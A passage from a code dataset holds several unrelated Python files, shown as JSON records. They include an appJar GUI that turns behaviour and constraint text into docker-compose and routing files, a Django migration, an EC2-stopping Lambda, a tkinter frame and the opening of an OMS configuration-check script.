y_pred.append(1)\n print ('BENIGN {}% MALIGNANT {}% {} , actually {}'.format(int(raw_prediction[0]*100),int(raw_prediction[1]*100),_class,act))\nprint (confusion_matrix(y_true,y_pred))\nprint (classification_report(y_true, y_pred, target_names=['BENIGN', 'MALIGNANT']))\n","sub_path":"predict_boost.py","file_name":"predict_boost.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"562306848","text":"import re\nimport sys\nimport appJar\nimport pprint\n\nsys.path.append('../')\nfrom HighLevelBehaviorLanguage.hlb_parser import HLBParser, HLBHintType\n\nfrom deploy.constraints import removeEndDigit\nimport globals\ntry:\n from tkinter import filedialog\nexcept ImportError:\n import tkFileDialog\n\ntry:\n import xir\n from xir import eq, choice, gt, ge, select\n NOXIR=False\nexcept ImportError:\n NOXIR=True\n\n# handle button events\ndef press(button):\n print(button)\n\ndef same_pref(a,b):\n i = a[0:a.rfind(\".\")]\n j = b[0:b.rfind(\".\")]\n return (i == j)\n\ndef save_routes():\n routes = dict()\n\n for a in globals.links:\n for b in globals.links[a]:\n if a not in routes:\n routes[a] = dict()\n routes[a][b] = dict()\n routes[a][b]['n'] = b\n routes[a][b]['h'] = 1\n if b not in routes:\n routes[b] = dict()\n routes[b][a] = dict()\n routes[b][a]['n'] = a\n routes[b][a]['h'] = 1\n\n for l in globals.lans:\n for a in globals.lans[l]:\n for b in globals.lans[l]:\n if a == b:\n continue\n if a not in routes:\n routes[a] = dict()\n routes[a][b] = dict()\n routes[a][b]['n'] = b\n routes[a][b]['h'] = 1\n\n while True:\n updates = 0\n for a in routes:\n for b in routes[a]:\n for c in routes[a]:\n if c == b:\n continue\n if routes[a][b]['h'] > 1:\n continue\n if c not in routes[b] or (c in routes[b] and routes[b][c]['h'] > routes[a][c]['h']+1):\n if c not in routes[b]:\n routes[b][c] = dict()\n routes[b][c]['n'] = a\n routes[b][c]['h'] = routes[a][c]['h']+1\n updates += 1\n if updates == 0:\n break\n\n f = open(\"setup.txt\", \"w\")\n\n for a in globals.addresses:\n for b in globals.addresses[a]:\n f.write(\"address \"+a+\" \"+b+\"\\n\")\n\n for a in routes:\n for b in routes[a]:\n if routes[a][b]['h'] > 1:\n c = routes[a][b]['n']\n for i in globals.addresses[a]:\n for j in globals.addresses[b]:\n c = routes[a][b]['n']\n for k in globals.addresses[c]:\n if same_pref(k,i):\n f.write(\"route \"+i+\" \"+j + \" \"+k+\"\\n\")\n break\n \n\n\ndef save_docker(f):\n # decide on lan IPs\n nets = dict()\n nc = 0\n\n lls = dict()\n\n savelinks = globals.links.keys()\n for a in savelinks:\n for b in globals.links[a]:\n add1 = \"172.1.\" + str(nc)\n globals.links[a][b] = add1\n nets[add1] = 1 \n if a not in globals.addresses:\n globals.addresses[a] = dict()\n globals.addresses[a][add1+\".3\"] = 1\n if b not in globals.links:\n globals.links[b] = dict()\n globals.links[b][a] = add1 \n nets[add1] = 2\n if b not in globals.addresses:\n globals.addresses[b] = dict()\n globals.addresses[b][add1 + \".4\"] = 1\n nc += 1\n if a not in lls:\n lls[a] = dict()\n lls[a][b] = add1+\".3\"\n if b not in lls:\n lls[b] = dict()\n lls[b][a] = add1+\".4\"\n\n for l in globals.lans:\n lc = 3\n for i in globals.lans[l]:\n add1 = \"172.1.\" + str(nc) + \".\" + str(lc)\n globals.lans[l][i] = add1\n if i not in globals.addresses:\n globals.addresses[i] = dict()\n globals.addresses[i][add1] = 1\n lc += 1\n nets[l] = \"172.1.\" + str(nc)\n nc += 1\n\n f.write(\"version: '3'\\nservices:\\n\");\n for a in globals.nodes:\n f.write(\"\\n \"+a+\":\\n build:\\n dockerfile: custom.dock\\n context: .\\n command: /bin/setroutes.pl\\n privileged: true\\n networks:\\n\")\n if a in globals.links:\n for b in globals.links[a]:\n if (re.search(r\".3$\",lls[a][b]) != None):\n name = \"link-\"+a+\"-\"+b\n else:\n name = \"link-\"+b+\"-\"+a\n f.write(\" \" + name + \":\\n ipv4_address: \" + lls[a][b] + \"\\n\")\n\n for l in globals.lans:\n if a in globals.lans[l]:\n f.write(\" \" + l + \":\\n ipv4_address: \" + globals.lans[l][a] + \"\\n\")\n\n \n f.write(\"\\n\\nnetworks:\\n\")\n for a in globals.links:\n for b in globals.links[a]:\n if (re.search(r\".3$\",lls[a][b]) != None):\n f.write(\" link-\" + a + \"-\" + b + \":\\n driver: bridge\\n ipam:\\n driver: default\\n config:\\n -\\n subnet: \"+globals.links[a][b]+\".0/24\\n\\n\")\n\n \n for l in globals.lans:\n f.write(\" \" + l + \":\\n driver: bridge\\n ipam:\\n driver: default\\n config:\\n -\\n subnet: \"+nets[l]+\".0/24\\n\\n\")\n\n f.close()\n save_routes()\n\ndef save(f):\n if NOXIR:\n print(\"No xir.\")\n return\n\n top = xir.Xir()\n nodes = dict()\n for n in globals.nodes: \n node = top.structure.node({'name': n})\n nodes[n] = node\n\n for a in globals.links:\n for b in globals.links[a]:\n top.structure.connect([nodes[a], nodes[b]], {})\n\n for l in globals.lans:\n lan = top.structure.node({'name': l, 'capability': select('switch')})\n for i in globals.lans[l]:\n top.structure.connect([nodes[i], lan], {\n \"stack\": eq(\"ip\")})\n \n #f.write(top.xir())\n print(top.xir())\n\n inputSaveFileName = globals.app.saveBox(title='Save details on UI input', fileName='DEW_input.txt', fileExt=\".txt\")\n try:\n with open(inputSaveFileName, \"w\") as text_file:\n text_file.write(\"_____ACTIONS______\\n\")\n pprint.pprint(globals.actions, text_file)\n text_file.write(\"_____ACTORS_______\\n\")\n pprint.pprint(globals.actors, text_file)\n text_file.write(\"_____EVENTS_______\\n\")\n pprint.pprint(globals.events, text_file)\n text_file.write(\"_____BEHAVIOR_______\\n\")\n pprint.pprint(globals.behaviors, text_file)\n text_file.write(\"_____CONSTRAINTS____\\n\")\n pprint.pprint(globals.constraints, text_file)\n text_file.close()\n except Exception as e:\n globals.app.infoBox('Problem saving', 'There was an error saving input to %s: %s' % (inputSaveFileName,e), parent=None)\n \n globals.nlp_handler.save(inputSaveFileName)\n \n nsSaveFileName = globals.app.saveBox(title='Save DEW\\'s NS Output', fileName='DEW_nsfile.txt', fileExt=\".ns\")\n globals.out_handler.save(nsSaveFileName)\n\n\n\n# f.write(\"\\tendpoints: [[\" + a + \"],[\" + b +\"\\n\")\n# f.write(\"\\tprops: {}\\n\");\n\n# for l in globals.lans:\n# f.write(\"net:\\n\")\n# f.write(\"\\tid: \" + str(n) + '\\n')\n# f.write(\"\\tnodes: [\")\n# first = 0\n# for i in globals.lans[l]:\n# if first == 1:\n# f.write(\",\")\n# first = 1\n# f.write(str(i));\n# f.write(\"]\\n\");\n#\n# f.write(\"}\\n\\n\")\n# f.write(\"behavior: {\\n\")\n# text = globals.app.getTextArea(\"behavior\") \n# f.write(text)\n# f.write(\"\\n}\\n\\n\")\n\n\n\n\n\ndef gather_bindings():\n print(\"Globals dialogue %s\" %globals.dialogue)\n if (globals.dialogue == None):\n globals.app.startSubWindow(\"Dialogue\",modal=True)\n globals.app.setGeometry(\"400x400\")\n globals.app.setSticky(\"news\")\n globals.app.setStretch(\"both\")\n globals.app.startScrollPane(\"Dialogue\")\n globals.dialogue = True\n else:\n globals.app.openSubWindow(\"Dialogue\")\n globals.app.openScrollPane(\"Dialogue\")\n globals.app.removeButton(\"Submit\")\n globals.app.removeLabel(\"bt1\")\n globals.app.removeLabel(\"bt2\")\n globals.app.removeLabel(\"bt3\")\n\n globals.app.addLabel(\"bt1\", \"Please enter paths to executables for all the following actions.\",0,0,2)\n\n for a in globals.dlabels:\n globals.app.removeLabel(a)\n for a in globals.dentries:\n globals.app.removeEntry(a)\n globals.dlabels.clear()\n globals.dentries.clear()\n\n i = 1\n ce = 0\n for a in globals.actions:\n globals.app.addLabel(a, a, i, 0)\n globals.dlabels[a] = 1\n globals.app.addEntry(a,i,1)\n globals.app.setEntryChangeFunction(a, entryFunc)\n globals.dentries[\"e\"+str(ce)] = 1\n ce += 1\n i += 1\n\n print(\"Events %d\"% len(globals.events))\n\n if len(globals.events)>0:\n globals.app.addLabel(\"bt2\", \"Please enter paths to executables for all the following events.\",i,0,2)\n globals.app.addLabel(\"bt3\", \"Event executables should return 1 if the event occured, and 0 otherwise.\",i+1,0,2)\n i += 2\n\n for a in globals.events:\n globals.app.addLabel(a, a, i, 0)\n globals.dlabels[a] = 1\n globals.app.addEntry(\"e\"+str(ce),i,1)\n globals.dentries[\"e\"+str(ce)] = 1\n ce += 1\n i += 1\n globals.app.addButton(\"Submit\", tbFunc, i, 0, 2)\n globals.app.stopScrollPane()\n globals.app.stopSubWindow()\n globals.app.showSubWindow(\"Dialogue\")\n\ndef entryFunc(entry):\n print(\"Changed %s\" % entry)\n\ndef tbFunc(button):\n print(button)\n if (button == \"SAVE\"):\n # create another window for setting bindings for actions \n #gather_bindings();\n save(\"xxx\")\n elif (button == \"Submit\"):\n # take and save all the input\n globals.app.hideSubWindow(\"Dialogue\")\n #file_path = tkFileDialog.asksaveasfile(mode='w', defaultextension=\".xir\")\n save(\"xxx\")\n f = open(\"docker-compose.yml\", \"w\")\n save_docker(f)\n elif(button == \"REFRESH\"):\n # Refresh topology, output and DG.\n #if globals.bdg_handler != None:\n \n if globals.topo_handler != None:\n globals.topo_handler.process_constraints()\n if globals.out_handler != None:\n globals.out_handler.produceOutput()\n\ndef Bentry(button):\n pressed = button\n text = globals.app.getTextArea(\"behavior\") \n delim = \"\"\n if (not text.endswith(\" \") and not text.endswith(\"\\n\") and text != \"\"):\n delim=\" \"\n if (button == \"wait t\"):\n button += str(globals.tcn)\n globals.tcn = globals.tcn + 1\n globals.app.setTextArea(\"behavior\", delim+button, True, True)\n pass\n\ndef Centry(button):\n pressed = button\n text = globals.app.getTextArea(\"constraints\") \n delim = \"\"\n if (not text.endswith(\" \") and not text.endswith(\"\\n\") and text != \"\"):\n delim=\" \"\n globals.app.setTextArea(\"constraints\", delim+button, True, True)\n pass\n\ndef addSuggestions(evtype, pb):\n globals.app.openScrollPane(\"Suggestions\")\n if evtype == \"actors_only\":\n for a in globals.actors:\n if a != \"\" and a not in globals.sbuttons:\n print(\"add actor %s\" % a)\n globals.sbuttons[a] = 1\n globals.app.addButton(a, pb)\n elif evtype == \"actions_only\":\n for a in globals.actions:\n if a != \"\" and a not in globals.sbuttons:\n print(\"add action %s\" % a)\n globals.sbuttons[a] = 1\n globals.app.addButton(a, pb)\n elif evtype == \"methods_only\":\n pass\n elif evtype == \"events_only\":\n for e in globals.events:\n if e != \"\":\n globals.sbuttons[e] = 1\n globals.app.addButton(e, pb)\n elif evtype == \"behaviors_enter\" or evtype == \"when_enter\":\n print(\"Actors %d\" % len(globals.actors))\n for a in globals.actors:\n if a != \"\":\n print(\"add actor %s\" % a)\n globals.sbuttons[a] = 1\n globals.app.addButton(a, pb)\n if evtype == \"behaviors_enter\":\n for e in globals.events:\n eline=\"when \"+e\n globals.sbuttons[eline] = 1\n globals.app.addButton(eline, pb)\n for s in [\"wait t\"]:\n globals.sbuttons[s] = 1\n globals.app.addButton(s, pb)\n elif evtype == \"constraints_enter\":\n for l in [\"num\", \"os\",\"link\",\"lan\",\"interfaces\",\"location\",\"nodetype\"]:\n globals.app.addButton(l,Centry)\n globals.sbuttons[l]=1\n elif evtype == \"emit\":\n globals.sbuttons[\"emit\"] = 1\n globals.app.addButton(\"emit\", pb)\n else: # it was text to be displayed as label\n globals.app.addLabel(evtype,evtype)\n globals.slabels[evtype] = 1\n #globals.app.stopLabelFrame()\n globals.app.stopScrollPane()\n\ndef prefix(mystring):\n p = 0\n for i in str(mystring):\n if i.isdigit():\n return mystring[0:p-1]\n p += 1\n return None\n\ndef processConstraints():\n print(\"Entered constraints\")\n globals.app.openScrollPane(\"Suggestions\")\n for t in globals.sbuttons:\n globals.app.removeButton(t)\n globals.sbuttons.clear()\n for t in globals.slabels:\n globals.app.removeLabel(t)\n globals.slabels.clear()\n text = globals.app.getTextArea(\"constraints\")\n chs = text.split(\"\\n\")\n i=0\n lnc=1\n # parse out constraints and remember them\n # from every line including the last\n globals.constraints.clear()\n globals.links.clear()\n globals.lans.clear()\n #globals.lans[\"lan0\"] = dict()\n globals.nodes.clear()\n for a in globals.actors:\n globals.nodes[a] = 0\n for c in chs:\n ## The uncommented line below causes errors when someone puts in more than 1 space.\n #items = re.split(\"[\\s,]\",c.strip())\n items = c.split()\n if len(items) == 0:\n continue\n item = items.pop(0)\n # parse out constraints\n if len(items) >= 2:\n if (item == \"num\" or item == \"os\" or item == \"location\" or item == \"interfaces\" or item == \"nodetype\"):\n if items[0] in globals.nodes:\n if items[0] not in globals.constraints:\n globals.constraints[items[0]] = dict()\n globals.constraints[items[0]][item] = items[1] \n if (item == \"num\"):\n globals.nodes.pop(items[0], None)\n for i in range(0,int(items[1])):\n globals.nodes[items[0]+str(i)] = 0\n if (item == \"link\"):\n if len(items) >= 2:\n a = items.pop(0)\n b = items.pop(0)\n if a in globals.nodes and b in globals.nodes:\n if a not in globals.links:\n globals.links[a] = dict()\n globals.links[a][b] = \"\"\n for i in items:\n globals.links[a][b] += (i + \" \")\n globals.nodes[a] = 1\n globals.nodes[b] = 1\n if (item == \"lan\"):\n label = \"lan\" + str(lnc)\n if label not in globals.lans:\n globals.lans[label] = dict()\n for i in items:\n if i in globals.nodes:\n globals.lans[label][i] = 1\n globals.nodes[i] = 1\n lnc = lnc + 1\n\n # Now find all nodes that are not part of any link or lan and put them\n # into one lan\n globals.lans[\"lan0\"] = dict()\n for n in globals.nodes:\n if globals.nodes[n] == 0:\n # Are we in some other specified lan?\n inOtherLan = False\n otherLan = \"\"\n for l in globals.lans:\n if l != \"lan0\":\n if removeEndDigit(n) in globals.lans[l]:\n inOtherLan = True\n otherLan = l\n break\n if not inOtherLan:\n globals.lans[\"lan0\"][n] = 1\n globals.nodes[n] = 2\n else:\n globals.lans[l][n] = 1\n globals.nodes[n] = 2\n\n # Then join this lan with a node that is the most similar to nodes in the lan\n # XXX Not sure the below is working?\n if (len(globals.lans[\"lan0\"]) > 0):\n prefs = dict()\n maxc = 0\n maxp = \"\"\n for n in globals.nodes:\n if globals.nodes[n] == 2:\n t = prefix(n)\n if t not in prefs:\n prefs[t] = 1\n else:\n prefs[t] += 1\n \n if prefs[t] > maxc:\n maxc = prefs[t]\n maxp = t\n \n for n in globals.nodes:\n if globals.nodes[n] == 1 and prefix(n) == maxp:\n globals.lans[\"lan0\"][n] = 1\n break\n else:\n globals.lans.pop(\"lan0\", None)\n\n # Go through last constraint line to see what we can suggest\n ll = chs.pop()\n items = re.split(\"[\\s,]\",ll.strip())\n item = items.pop(0)\n if item in [\"num\", \"os\",\"nodetype\", \"interfaces\", \"location\", \"link\",\"lan\"] and len(items) == 0:\n addSuggestions(\"actors_only\", Centry)\n elif len(items) >= 1:\n if (item == \"num\" or item == \"interfaces\") and items[-1] in globals.actors:\n addSuggestions(\"enter digit\", Centry)\n elif item == \"os\" and (items[-1] in globals.actors \n or items[-1] in globals.nodes):\n for os in globals.deploy_handler.getSuggestions(type='os'):\n #addSuggestions(os, Centry)\n globals.app.addButton(os,Centry)\n globals.sbuttons[os]=1\n addSuggestions(\"enter OS\", Centry)\n elif item == \"nodetype\" and (items[-1] in globals.actors \n or items[-1] in globals.nodes):\n for nodetype in globals.deploy_handler.getSuggestions(type='nodetype'):\n globals.app.addButton(nodetype,Centry)\n globals.sbuttons[nodetype]=1\n addSuggestions(\"enter node type\", Centry)\n elif item == \"link\" and (items[-1] in globals.actors or \n items[-1] in globals.nodes):\n addSuggestions(\"actors_only\", Centry)\n elif item == \"lan\" and (items[-1] in globals.actors or\n items[-1] in globals.nodes):\n addSuggestions(\"actors_only\", Centry)\n elif item == \"location\" and (items[-1] in globals.actors or\n items[-1] in globals.nodes):\n addSuggestions(\"enter testbed\", Centry)\n else:\n addSuggestions(\"constraints_enter\", Centry)\n else:\n addSuggestions(\"constraints_enter\", Centry)\n #globals.app.stopLabelFrame()\n globals.app.stopScrollPane()\n\n for n in globals.nodes:\n print(\"Node %s\" % n)\n for a in globals.links:\n for b in globals.links[a]:\n print(\"Link %s-%s\"% (a,b))\n for a in globals.lans:\n lanstring = \"\"\n for b in globals.lans[a]:\n lanstring += (b+ \" \")\n print(\"Lan %s:%s\" %( a,lanstring))\n \n globals.topo_handler.process_constraints()\n if globals.deploy_handler != None:\n newCheckBoxes = globals.deploy_handler.process_constraints() \n \n globals.app.openLabelFrame(\"Given Constraints\")\n globals.app.setStretch(\"both\")\n globals.app.setSticky(\"nesw\")\n for checkBox in newCheckBoxes:\n try:\n globals.app.setStretch(\"both\")\n globals.app.setSticky(\"nesw\")\n\n globals.app.addCheckBox(checkBox)\n globals.app.setCheckBox(checkBox, ticked=True, callFunction=globals.deploy_handler.checkConstraints)\n globals.app.setCheckBoxChangeFunction(checkBox, globals.deploy_handler.checkConstraints)\n except appJar.appjar.ItemLookupError:\n pass\n globals.deploy_handler.checkConstraints(None)\n \n\ndef transitionBstate(ll):\n\n fwh=0\n fwa=0\n fa=0 \n fp=-1\n fe=0\n\n # first check what is there in the string\n items = ll.strip().split(\" \")\n if (len(items) == 0):\n return \"start\"\n\n j = 0\n for i in items:\n it = i.strip(\",\")\n if it == \"when\":\n fwh = 1\n fp = j\n if it == \"wait\":\n fwa = 1\n fp = j\n if it in globals.actors:\n fa = 1\n fp = j # position of the last actor\n if it == \"emit\":\n fe = 1\n fp = j\n j += 1\n\n diff = len(items) - fp - 1\n #print \"fwh \",fwh, \" fwa \",fwa,\" fa \",fa, \" fe \",fe,\" fp \",fp, \" diff \",diff\n # now check what's the last item\n if (fwh == 1 and fwa == 0 and fa == 0):\n if (items[-1] != \"when\"):\n if diff == 1 and ll.endswith(\" \"):\n return \"when\"\n elif diff == 2 and (ll.endswith(\" \") or ll.endswith(\",\")): # should add new actor\n return \"nactor\"\n else:\n return \"when\"\n else:\n return \"whene\"\n if (fwh == 1 and fwa == 1 and fa == 0) or (fwh == 0 and fwa == 1 and fa == 0):\n if (items[-1] != \"wait\"):\n if diff == 1 and ll.endswith(\" \"):\n return \"wait\"\n elif diff == 2 and (ll.endswith(\" \") or ll.endswith(\",\")): # should add new actor\n return \"nactor\"\n else:\n return \"wait\"\n else:\n return \"waitd\"\n if (fa == 0 and fwh == 0 and fwa == 0):\n if (fp == -1):\n if (ll.endswith(\" \") or ll.endswith(\",\")):\n return \"nactor\"\n else:\n return \"start\"\n if (fa == 1 and fe == 0):\n if diff == 0:\n return \"actor\"\n elif diff == 1:\n if ll.endswith(\" \"):\n return \"naction\"\n else:\n return \"action\"\n elif diff == 2:\n if ll.endswith(\" \") or ll.endswith(\",\"):\n return \"nmethod\"\n else:\n return \"method\"\n else:\n return \"emit\"\n if (fa == 1 and fe == 1):\n if (diff == 0):\n return \"emite\"\n else:\n return \"emitted\"\n return \"wrong\"\n\ndef addactor(item):\n\n globals.actors[item] = 1\n globals.nodes[item] = 1\n if \"lan0\" not in globals.lans:\n globals.lans[\"lan0\"] = dict()\n globals.lans[\"lan0\"][item] = 1\n\n if (\"actor\"+str(globals.acn)) in globals.actors:\n globals.acn = globals.acn+1\n\n delim=\"\"\n text = globals.app.getTextArea(\"actor\") \n if (not text.endswith(\"\\n\") and text != \"\"):\n delim=\"\\n\"\n globals.app.setTextArea(\"actor\", delim+item, True, True)\n \n\ndef processBehavior():\n #print(\"Entered behavior\")\n globals.app.openScrollPane(\"Suggestions\")\n for t in globals.sbuttons:\n globals.app.removeButton(t)\n globals.sbuttons.clear()\n for t in globals.slabels:\n globals.app.removeLabel(t)\n globals.slabels.clear()\n text = globals.app.getTextArea(\"behavior\")\n\n bhs = text.split(\"\\n\")\n i=0\n # parse out events, globals.actors, actions and methods\n # from every line but the last\n globals.events.clear()\n ll = bhs.pop()\n parser = HLBParser()\n for b in bhs:\n globals.behaviors[i] = b\n i = i + 1\n \n type,vals,hints = parser.extract_partial(b)\n #print type, vals, hints\n if \"actors\" in vals and vals[\"actors\"] != None:\n for a in vals[\"actors\"]:\n if a not in globals.actors:\n addactor(a)\n\n if \"action\" in vals and vals[\"action\"] != None:\n a=vals[\"action\"]\n if a not in globals.actions:\n globals.actions[a] = 1\n print(\"added action %s\" % a)\n\n if \"e_events\" in vals and vals[\"e_events\"] != None:\n for a in vals[\"e_events\"]:\n if a not in globals.events:\n globals.events[a] = 1\n\n # Go through last behavior line to see what is the current state\n # start (waitd, wait) or (whene, when) or actor, actor, action, method, emit, done\n type,vals,hints = parser.extract_partial(ll) \n #print type,vals,hints\n if (type == HLBHintType.BLANK):\n addSuggestions(\"behaviors_enter\", Bentry)\n elif(type == HLBHintType.REQ_WHEN_LIST):\n addSuggestions(\"enter event name\", Bentry)\n addSuggestions(\"events_only\", Bentry)\n elif(type == HLBHintType.REQ_ACTORS_HAVEWHEN):\n addSuggestions(\"when_enter\", Bentry)\n elif(type == HLBHintType.REQ_WAIT_TIME):\n addSuggestions(\"enter variable name or wait time in second\", Bentry)\n elif(type == HLBHintType.REQ_ACTORS):\n addSuggestions(\"actors_only\", Bentry)\n elif(type == HLBHintType.REQ_ACTION):\n if (ll.endswith(\" \")):\n items = ll.strip().split(\" \")\n item = items[-1].strip(\",\")\n if item not in globals.actors:\n addactor(item)\n addSuggestions(\"enter action\", Bentry)\n addSuggestions(\"actions_only\", Bentry)\n addSuggestions(\"actors_only\", Bentry)\n elif(type == HLBHintType.OPT_EMIT_STMT):\n if (ll.endswith(\" \")):\n items = ll.strip().split(\" \")\n item = items[-1].strip(\",\")\n if item not in globals.actions:\n globals.actions[item] = 1\n\n addSuggestions(\"emit\", Bentry)\n elif (type == HLBHintType.REQ_EMIT_LIST):\n addSuggestions(\"enter event name(s)\", Bentry)\n\n #globals.app.stopLabelFrame()\n globals.app.stopScrollPane()\n\ndef regenerateSuggestions(evtype):\n print(\"Event %s\" % evtype)\n for t in globals.sbuttons:\n print(\"Button %s\" %t)\n if evtype == \"behaviors_enter\":\n processBehavior()\n elif evtype == \"globals.actors_enter\":\n print(\"Entered actors\")\n globals.app.openScrollPane(\"Suggestions\")\n for t in globals.sbuttons:\n globals.app.removeButton(t)\n globals.sbuttons.clear()\n for t in globals.slabels:\n globals.app.removeLabel(t)\n globals.slabels.clear()\n #globals.app.stopLabelFrame()\n globals.app.stopScrollPane()\n elif evtype == \"constraints_enter\":\n processConstraints()\n\ndef actorentered(widget):\n entered(\"actor\")\n\ndef actorleft(widget):\n left(\"actor\")\n\ndef behaviorentered(widget):\n entered(\"behavior\")\n\ndef behaviorleft(widget):\n left(\"behavior\")\n\ndef constraintsentered(widget):\n entered(\"constraints\")\n\ndef constraintsleft(widget):\n left(\"constraints\")\n\ndef left(widget):\n print(widget)\n\n if (widget == \"actor\"):\n globals.actors=dict()\n text = globals.app.getTextArea(\"actor\")\n roles = text.split(\"\\n\")\n for r in roles:\n if r not in globals.actors and r.strip() != \"\":\n globals.actors[r] = 1\n print(\"Added actor %s\" % r)\n # Update topology \n print(\"Updating topology.\")\n\n if (widget == \"behavior\"):\n text = globals.app.getTextArea(\"behavior\")\n bhs = text.split(\"\\n\")\n i=0\n globals.events.clear()\n for b in bhs:\n globals.behaviors[i] = b\n i = i + 1\n# items = b.split(\" \")\n# # parse out events\n# prev = \"\"\n# for item in items:\n# if (item == \"emit\"):\n# prev = item\n# continue\n# if (prev == \"emit\"):\n# globals.events[item] = 1\n# prev = item\n globals.bdg_handler.add_new_behavior(b)\n\ndef entered(widget):\n print(widget)\n if (widget == \"actor\"):\n regenerateSuggestions(\"globals.actors_enter\") \n elif (widget == \"behavior\"):\n regenerateSuggestions(\"behaviors_enter\")\n elif (widget == \"constraints\"):\n regenerateSuggestions(\"constraints_enter\")\n\n\ndef changed(widget):\n if (widget == \"actor\"):\n pass\n if (widget == \"behavior\"):\n processBehavior()\n if (widget == \"constraints\"):\n processConstraints()\n\n","sub_path":"SurveyVersion/HighLevelBehaviorLanguage/hlb.py","file_name":"hlb.py","file_ext":"py","file_size_in_byte":29344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"496942654","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jla', '0003_auto_20160822_1013'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='colaboradores',\n name='colnivel',\n field=models.IntegerField(null=True, db_column='ColNivel', blank=True),\n ),\n migrations.AlterModelTable(\n name='recibos',\n table='jla_recibos',\n ),\n ]\n","sub_path":"jla/migrations/0004_auto_20160823_0638.py","file_name":"0004_auto_20160823_0638.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"105357986","text":"import boto3\nimport os\n\nec2 = boto3.resource('ec2')\ninstance_name = os.environ['instance_name']\n\ndef lambda_handler(event, context):\n print ('Enters into the function')\n instances = ec2.instances.filter(\n Filters=[{'Name': 'tag:Name', 'Values': [instance_name]}]).stop()","sub_path":"stop_instance_by_tagname.py","file_name":"stop_instance_by_tagname.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"467894986","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n\nimport tkinter as tk\nfrom Controller import *\nimport threading\n\nclass UserFrame:\n\tdef __init__(self, controller,name):\n\t\tself.controller = controller\n\t\tself.controller.setFrame(self)\n\n\t\tself.frame = tk.Tk()\n\t\tlabel1 = tk.Label(self.frame, text=\"Username:\")\n\t\tlabel1.grid(row = 0, column = 0)\n\t\tlabel2 = tk.Label(self.frame, text=\"Email:\")\n\t\tlabel2.grid(row = 1, column = 0)\n\t\tlabel3 = tk.Label(self.frame, text=\"SignUp date:\")\n\t\tlabel3.grid(row = 2, column = 0)\n\t\tself.searchButton = tk.Button(self.frame, text=\"search\", command=lambda: self.search())\n\t\tself.searchButton.grid(row = 3, column = 1)\n\t\tself.setUserInfo(name)\n\t\tself.frame.mainloop()\n\n\tdef setUserInfo(self,name):\n\t\tinfoList= self.controller.getUserInfo(name)\n\t\tprint(infoList)\n\t\tlabel1 = tk.Label(self.frame, text=infoList[0])\n\t\tlabel1.grid(row = 0, column = 1)\n\t\tlabel2 = tk.Label(self.frame, text=infoList[1])\n\t\tlabel2.grid(row = 1, column = 1)\n\t\tlabel3 = tk.Label(self.frame, text=infoList[2])\n\t\tlabel3.grid(row = 2, column = 1)\n\n\tdef search(self):\n\t\tself.controller.goToSearch()\n\n\tdef quit(self):\n\t\tself.frame.destroy()\n","sub_path":"Code/UserFrame.py","file_name":"UserFrame.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"171849707","text":"#!/usr/bin/env python3\nimport warnings\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n from imp import load_source\nfrom os.path import dirname, join, realpath, isfile\nfrom subprocess import PIPE, Popen\nfrom sys import exc_info, exit, version_info, argv\nfrom traceback import format_exc\nfrom fcntl import flock, LOCK_EX, LOCK_UN, LOCK_NB\nfrom OmsConfigHostHelpers import write_omsconfig_host_telemetry, write_omsconfig_host_switch_event, write_omsconfig_host_log, stop_old_host_instances\nfrom time import sleep\nimport sys\n\npathToCurrentScript = realpath(__file__)\npathToCommonScriptsFolder = dirname(pathToCurrentScript)\n\nDSCLogPath = join(pathToCommonScriptsFolder, 'nxDSCLog.py')\nnxDSCLog = load_source('nxDSCLog', DSCLogPath)\nLG = nxDSCLog.DSCLog\n\nhelperLibPath = join(pathToCommonScriptsFolder, 'helperlib.py')\nhelperlib = load_source('helperlib', helperLibPath)\n\noperationStatusUtilityPath = join(pathToCommonScriptsFolder, 'OperationStatusUtility.py')\noperationStatusUtility = load_source('operationStatusUtility', operationStatusUtilityPath)\n\noperation = 'PerformConsistency'\n\ndef main():\n try:\n run_perform_required_configuration_checks()\n except SystemExit:\n exit(exc_info()[1])\n except Exception:\n # Python 2.4-2.7 and 2.6-3 recognize different formats for exceptions. This methods works in all versions.\n formattedExceptionMessage = format_exc()\n write_omsconfig_host_log('Python exception raised from PerformRequiredConfigurationChecks.py: ' + formattedExceptionMessage, pathToCurrentScript, 'ERROR')\n raise\n\ndef run_perform_required_configuration_checks():\n\n dsc_sysconfdir = join(helperlib.CONFIG_SYSCONFDIR, helperlib.CONFIG_SYSCONFDIR_DSC)\n omicli_path = join(helperlib.CONFIG_BINDIR, 'omicli')\n dsc_host_base_path = helperlib.DSC_HOST_BASE_PATH\n dsc_host_path = join(dsc_host_base_path, 'bin/dsc_host')\n dsc_host_output_path = join(dsc_host_base_path, 'output')\n dsc_host_lock_path = join(dsc_host_base_path, 'dsc_host_lock')\n dsc_host_switch_path = join(dsc_host_base_path, 'dsc_host_ready')\n\n if (\"omsconfig\" in helperlib.DSC_SCRIPT_PATH):\n write_omsconfig_host_switch_event(pathToCurrentScript, isfile(dsc_host_switch_path))\n\n if (\"omsconfig\" in helperlib.DSC_SCRIPT_PATH) and (isfile(dsc_host_switch_path)):\n use_omsconfig_host = True\n else:\n use_omsconfig_host = False\n\n parameters = []\n if use_omsconfig_host:\n parameters.append(dsc_host_path)\n parameters.append(dsc_host_output_path)\n parameters.append(\"PerformRequiredConfigurationChecks\")\n parameters.append(\"1\")\n else:\n parameters.append(omicli_path)\n parameters.append(\"iv\")\n parameters.append(helperlib.DSC_NAMESPACE)\n parameters.append(\"{\")\n parameters.append(\"MSFT_DSCLocalConfigurationManager\")\n parameters.append(\"}\")\n 